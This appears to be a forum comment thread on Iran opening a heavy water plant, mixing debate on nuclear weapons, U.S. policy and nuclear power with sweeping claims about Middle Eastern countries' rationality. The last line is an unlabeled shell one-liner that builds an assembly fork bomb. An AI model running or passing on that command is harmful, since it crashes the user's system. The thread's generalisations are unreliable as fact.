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Iranian Heavy Water Nuke Plant Goes Online Today
avtchillsboro writes "According to an article in the NYT, an Iranian heavy water nuke plant goes online today. From the article: 'An Iranian plant that produces heavy water officially went into operation on Saturday, despite U.N. demands that Tehran stop the activity because it can be used to develop a nuclear bomb. President Mahmoud Ahmadinejad inaugurated the plant, which Tehran says is for peaceful purposes. The announcement comes days before Thursday's U.N. deadline for Iran to stop uranium enrichment — which also can be used to create nuclear weapons — or face economic and political sanctions.'"
What are you a frigging idiot? Just because they werent found at this time, doesnt mean they didn't make them. In fact we know that they did. Hell the man used them against his own people. We KNOW they made them and we KNOW they had them. However, theres no telling where they ended up. My guess is more than a little ended up directly in the hands of the "turrists". Some are probably buried out in the desert that is most of Iraq.
When a country in the middle east close to a lot of oil is thinking about makeing alternative energy, the US should maybe considering doing the same, instead of pushing DIRTY coal energy (what an idiocy) and driving 4liter engine trucks on completely flawless flat roads .....
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Oh well, and the us does not seem to be interested in Korea that much anymorem eventhough they are known to produce nuclear weapons and rockets
Sorry to say, but the US should not have the idea/power/facce of telling countries things like "you cannot have a nuclear plant" because we think you are all arab terrorists/and or financing terrorists and/or might be sometimes financing terrorists
They could suggest to the UN to tell a country not to make nukes (as in nuclear weapons) but still, on what ground? The US is a big nuke power, so it should not have the right to tell a country not to make the same weapons they are ?entitled? to produce on a God given bases. Because they are not Koreans, Russians, or they read a line in the other direction.
now tag me troll or flamebait, I am a very european and very white person who just cannot watch that injustice constantly without spitting out my thought, at least to the
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ps: being as green and vegetarian and all as I can, I think Nuke power, when applied safely, could turn this rottening planet into a better place... definetely better than what we are doing now, burning oil and coal. And before you mention Chernobil, I was very close to taht when it happened, and we got a good dose of it,,,,,, that crap blew bacause it was carelessly maintained, in my country we have the same construction working for 20 years just fine up to today...
That may be true if your opponent is at least partially rational. Eg the US, the USSR, China and so on. It's not true if your opponent is non rational. And I mean rational here in the loosest possible sense, i.e. that safeguards prevent a paranoid individual from triggering armageddon.
I'd say that none of the countries in the Middle East are completely rational. Maybe Israel, but it's hard for a tiny country with a secret nuclear weapons program surrounded by genocidal but technically backward countries to stay rational. They may decide to decentralise their lauch process for example, to be sure that they can respond to a first strike.
If you look at Tariq Aziz's interview post Gulf War II, decision making inside Iraq was highly non rational, almost as if they assumed that the apocalypse was innevitable, and highly disconnected from any objective news at the same time. My guess is that Iran and Syria are in a similar state.
And the attempt at getting nukes is likely to trigger disasterous intervention from either the US or Israel. So for Middle Eastern countries, a nuke program does not increase safety.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;